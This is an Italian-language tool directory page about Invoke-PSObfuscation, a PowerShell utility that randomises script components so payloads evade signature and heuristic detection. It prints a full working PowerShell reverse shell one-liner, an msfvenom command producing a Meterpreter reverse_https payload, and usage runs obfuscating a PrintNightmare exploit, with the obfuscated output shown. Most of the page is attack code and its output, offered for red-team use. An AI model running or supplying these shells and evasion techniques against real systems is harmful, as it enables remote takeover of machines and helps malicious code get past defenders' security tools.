Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Invoke-PSObfuscation — Un approccio approfondito per offuscare i singoli componenti di un payload PowerShell, sia che tu sia su Windows che su Kali Linux. | Kitploit
Strumenti/GitHubGitHub/gh0x0st/invoke-psobfuscation
Generazione di PayloadExploitShellcodeRed TeamingSviluppo Payload
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

Un approccio approfondito per offuscare i singoli componenti di un payload PowerShell, sia che tu sia su Windows che su Kali Linux.

Vedi Repository
284524 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Invoke-PSObfuscation

Le tecniche di offuscamento tradizionali tendono ad aggiungere livelli per incapsulare il codice esistente, come base64 o compressione. Questi payload continuano ad avere un variabile grado di successo, ma sono diventati banali da estrarre per ottenere il payload previsto e alcuni launcher vengono spesso rilevati, il che introduce essenzialmente punti di strozzatura.

L'approccio introdotto da questo strumento è una metodologia che consente di targeting e offuscare i singoli componenti di uno script con variazioni randomizzate, mantenendo la stessa logica prevista, senza incapsulare l'intero payload in un singolo livello. A causa della complessità della logica di offuscamento, i payload risultanti saranno molto difficili da firmare e sfuggiranno ai motori euristici che non sono programmati per emulare la logica ereditata.

Sebbene questo script possa offuscare con successo la maggior parte dei payload da solo, questo progetto servirà anche come framework di base che userò per produrre future funzioni che utilizzeranno questo framework per fornire payload offuscati dedicati, come uno che produce solo reverse shell.

Ho scritto un articolo per Offensive Security come precursore delle tecniche introdotte da questo strumento. Prima di addentrarti ulteriormente, considera di dargli una lettura prima: https://www.offensive-security.com/offsec/powershell-obfuscation/

Payload Dedicati

Come parte del mio lavoro in corso sull'offuscamento di PowerShell, sto costruendo script che producono payload dedicati che utilizzano questo framework. Questi mi hanno fatto risparmiare tempo e spero ti siano utili. Puoi trovarli nelle loro cartelle alla radice di questo repository.

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

Componenti

Come molti altri linguaggi di programmazione, PowerShell può essere suddiviso in molti componenti diversi che compongono la logica eseguibile. Questo ci permette di sconfiggere le rilevazioni basate su firme con relativa facilità, cambiando il modo in cui rappresentiamo i singoli componenti all'interno di un payload in una forma oscura o incomprensibile.

Tieni presente che targeting di ogni componente in payload complessi è molto intrusivo. Questo strumento è costruito in modo da poter targeting i componenti che vuoi offuscare in modo controllato. Ho scoperto che molte firme possono essere sconfitte semplicemente targeting cmdlet, variabili e commenti. Quando lo usi contro payload complessi, come Print Nightmare, tieni presente che anche i parametri/variabili delle funzioni personalizzate verranno modificati. Assicurati sempre di testare adeguatamente i payload risultanti e di essere consapevole di eventuali parametri nominati modificati.

Tipi di componenti come pipe e variabili di pipeline sono introdotti qui per rendere il tuo payload più oscuro e difficile da decodificare.

Tipi Supportati

  • Aliases (iex)
  • Cmdlets (New-Object)
  • Comments (# and <# #>)
  • Integers (4444)
  • Methods ($client.GetStream())
  • Namespace Classes (System.Net.Sockets.TCPClient)
  • Pipes (|)
  • Pipeline Variables ($_)
  • Strings ("value" | 'value')
  • Variables ($client)

Generatori

Ogni componente ha il proprio generatore dedicato che contiene un elenco di possibili valori statici o generati dinamicamente che vengono selezionati casualmente durante ogni esecuzione. Se ci sono più istanze di un componente, verranno iterate singolarmente con un generatore. Questo aggiunge un grado di casualità ogni volta che esegui questo strumento contro un dato payload, quindi ogni iterazione sarà diversa. L'unica eccezione sono i nomi delle variabili.

Se un algoritmo relativo a un componente specifico inizia a far sì che un payload venga segnalato, il design attuale ci permette di modificare facilmente la logica per quel generatore senza compromettere l'intero script.

root@kitploit:~
$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

Requisiti

Questo framework e i payload risultanti sono stati testati sui seguenti sistemi operativi e versioni di PowerShell. Le reverse shell risultanti non funzioneranno su PowerShell v2.0

Esempi di Utilizzo

CVE-2021-34527 (PrintNightmare)

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

PowerShell Reverse Shell

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
    Generator 2 >> PS  >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

Obfuscated PowerShell Reverse Shell

Testo alternativo

Meterpreter PowerShell Shellcode

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done

Guida basata sui commenti

root@kitploit:~
<#
    .SYNOPSIS
        Transforms PowerShell scripts into something obscure, unclear, or unintelligible.
    
    .DESCRIPTION
        Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, 
        they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation 
        focuses on replacing the existing components of your code, or layer 0, with alternative values. 
    
    .PARAMETER Path
        A user provided PowerShell payload via a flat file.
    
    .PARAMETER All
        The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive
        and could result in your payload being broken. There should be no issues when using this with the vanilla reverse
        shell. However, it's recommended to target specific components with more advanced payloads. Keep in mind that some of 
        the generators introduced in this script may even confuse your ISE so be sure to test properly.
        
    .PARAMETER Aliases
        The aliases switch is used to instruct the function to obfuscate aliases.

    .PARAMETER Cmdlets
        The cmdlets switch is used to instruct the function to obfuscate cmdlets.

    .PARAMETER Comments
        The comments switch is used to instruct the function to remove all comments.

    .PARAMETER Integers
        The integers switch is used to instruct the function to obfuscate integers.

    .PARAMETER Methods
        The methods switch is used to instruct the function to obfuscate method invocations.

    .PARAMETER NamespaceClasses
        The namespaceclasses switch is used to instruct the function to obfuscate namespace classes.
    
    .PARAMETER Pipes
        The pipes switch is used to instruct the function to obfuscate pipes.

    .PARAMETER PipelineVariables
        The pipeline variables switch is used to instruct the function to obfuscate pipeline variables.

    .PARAMETER ShowChanges
        The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen.

    .PARAMETER Strings
        The strings switch is used to instruct the function to obfuscate prompt strings.
  
    .PARAMETER Variables
        The variables switch is used to instruct the function to obfuscate variables.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
    
    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
    
    .OUTPUTS
        System.String, System.String
    
    .NOTES
        Additional information about the function.
#>
Scarica lo strumento
Versione PSSO TestatoInvoke-PSObfuscation.ps1Reverse Shell
7.1.3Kali 2021.2SupportatoSupportato
5.1.19041.1023Windows 10 10.0.19042SupportatoSupportato
5.1.21996.1Windows 11 10.0.21996SupportatoSupportato